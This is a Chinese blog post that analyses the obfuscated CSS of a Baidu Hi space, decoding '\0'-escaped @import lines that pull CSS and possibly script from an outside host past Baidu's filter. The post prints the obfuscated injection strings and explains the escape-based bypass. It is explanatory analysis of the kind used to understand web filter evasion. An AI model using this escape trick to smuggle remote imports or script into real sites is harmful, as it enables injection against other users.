解析edikid

从我发布百度CSS import漏洞开始,就有人不断问我关于http://hi.baidu.com/edikid这个空间,到现在可能有上百人了吧!我曾经说过CSS内容原则上是不能被加密的——原因就是它需要被浏览器解析。但是当大家用我的http://dohi.cn/hisearchcss.asp对他的空间CSS进行查看时,看到的是乱码,似乎他创造了一个奇迹。

这里Monyer不对其本人以及技术做任何讨论或评价,仅仅就他的CSS做一下基本解析,以后大家遇到此问题就不用苦恼了。

先列一下其空间的CSS代码

以下是代码片段:

@ODY{

@ODY%7@@ACKGROUND:#FFCC00%3@WIDTH:100%%3@OVERFLOW-X:HIDDEN%3@COLOR:#2FA4DE}
#HEADER%7@@ACKGROUND:#CCFF66%3@HEIGHT:100PX%3@WIDTH:100%}
AD1,AD2,AD3,AD4,AD5,AD6%7@@ACKGROUND:#FFCC00%3@COLOR:#2FA4D}@\\0i\\0m\\0p\\0o\\0r\\000t "\\0h\\0t\\0t\\0p://bl\\0o\\0g\\0.ed\\0i\\0k\\0id.ne\\0t\\0/\\0h\\0ibaidu/c\\0s\\0s.\\0h\\0t\\0m\\0l\\0";E%3@}
#LAYOUT%7@WIDTH:98%%3@}
#LAYOUT TD.C3T1%-ARROW-COLOR: #000000%3@
SCROLL@AR-TRACK-COLOR: #FFFFFF%3@
SCROLL@AR-DARKSHADOW@ODY%7@@ACKGROUND:#FFCC00%3@WIDTH:100%%3@OVERFLOW-X:HIDDEN%3@COLOR:#2FA4DE}
%%3@
SCROLL@AR-DARKSHADOW-COLOR: #FFFFFF%3@
SCROLL@AR-@ASE-COLOR: #FFFFFF%3@;}@\\0i\\0m\\0p\\0o\\0r\\00t "h\\0t\\0t\\000p:/\\0/\\0b\\0l\\0o\\0g.e\\0d\\0i\\0k\\0i\\0d.n\\0e\\0t\\0/\\0h\\0i\\0b\\0a\\0idu\\0/\\000js.h\\0t\\0m\\0l";E%3@}
#LAYOUT%7@WIDTH:98%%3@}
#LAYOUT TD.C3T1%-ARROW-COLOR: #000000%3@
SCROLL@AR-TRACK-COLOR: #FFFFFF%3@
SCROLL@AR-DARKSHADOW@ODY%7@@ACKGROUND:#FFCC00%3@WIDTH:100%%3@OVERFLOW-X:HIDDEN%3@COLOR:#2FA4DE}
%%3@
%

说实话,如果偏让我对这些代码说出个所以然来,那是不现实的,因为即使对于你们所有的浏览器来说,其中的大部分代码都是无效代码,也就是不管你写什么,都不会执行。

所以里面的

以下是代码片段:

@ODY{

@ODY%7@@ACKGROUND:#FFCC00%3@WIDTH:100%%3@OVERFLOW-X:HIDDEN%3@COLOR:#2FA4DE}
#HEADER%7@@ACKGROUND:#CCFF66%3@HEIGHT:100PX%3@WIDTH:100%}
AD1,AD2,AD3,AD4,AD5,AD6%7@@ACKGROUND:#FFCC00%3@COLOR:#2FA4D}

E%3@}
#LAYOUT%7@WIDTH:98%%3@}
#LAYOUT TD.C3T1%-ARROW-COLOR: #000000%3@
SCROLL@AR-TRACK-COLOR: #FFFFFF%3@
SCROLL@AR-DARKSHADOW@ODY%7@@ACKGROUND:#FFCC00%3@WIDTH:100%%3@OVERFLOW-X:HIDDEN%3@COLOR:#2FA4DE}
%%3@
SCROLL@AR-DARKSHADOW-COLOR: #FFFFFF%3@
SCROLL@AR-@ASE-COLOR: #FFFFFF%3@;}

E%3@}
#LAYOUT%7@WIDTH:98%%3@}
#LAYOUT TD.C3T1%-ARROW-COLOR: #000000%3@
SCROLL@AR-TRACK-COLOR: #FFFFFF%3@
SCROLL@AR-DARKSHADOW@ODY%7@@ACKGROUND:#FFCC00%3@WIDTH:100%%3@OVERFLOW-X:HIDDEN%3@COLOR:#2FA4DE}
%%3@
%

没有任何意义,你愿意写什么写什么,只要保证语句的正常结束就可以!这也是你不管怎么样也不会读懂的原因。细心的朋友会发现我提出了其中的两句代码,它们是:

@\\0i\\0m\\0p\\0o\\0r\\000t "\\0h\\0t\\0t\\0p://bl\\0o\\0g\\0.ed\\0i\\0k\\0id.ne\\0t\\0/\\0h\\0ibaidu/c\\0s\\0s.\\0h\\0t\\0m\\0l\\0";

@\\0i\\0m\\0p\\0o\\0r\\00t "h\\0t\\0t\\000p:/\\0/\\0b\\0l\\0o\\0g.e\\0d\\0i\\0k\\0i\\0d.n\\0e\\0t\\0/\\0h\\0i\\0b\\0a\\0idu\\0/\\000js.h\\0t\\0m\\0l";

在CSS里“\\0”、“\\00”、“\\000”是会被浏览器忽略的(其他的相关的CSS hacking 请参考Monyer的XSS系列),那我们去掉看看:

@import "http://blog.edikid.net/hibaidu/css.html";

@import http://blog.edikid.net/hibaidu/js.html;

对于这两句,我想大家再熟悉不过了吧?其中不仅可以放被调用的CSS代码,同时也可以随意插入js代码(我们不是用它插过视频么?)

但是我们把作者的所有CSS全部copy到我们那里是不会成功的,原因就是import字符及相关绕过方式早已经被百度过滤了,而作者是在百度过滤之前加入的,并且没有修改过,所以仍然有效。

对于

http://blog.edikid.net/hibaidu/css.html

http://blog.edikid.net/hibaidu/js.html

第一个CSS调用我没有分析,因为我测试时恰好文件无法访问(第二个应该不会被执行,因为前面的混淆语句不是很完整,这个要看你客户端是什么浏览器了)。

但是以前一次分析时好像记得其中有类似

这样的html转向代码。由于后缀名的关系,当你用浏览器直接访问时,里面的CSS不会被执行,但会执行嵌入其中的html或js代码;当你用import调用时,里面的html及脚本不会执行,但里面的CSS会执行。所以你只能用记事本来打开,或flashget下载。

其实说了这么多,我们无非是在CSS上打转,如果真正地了解什么是CSS,并切身实地地去思考,我相信就不会有那么多问题出现了。

发表评论

邮箱地址不会被公开。 必填项已用*标注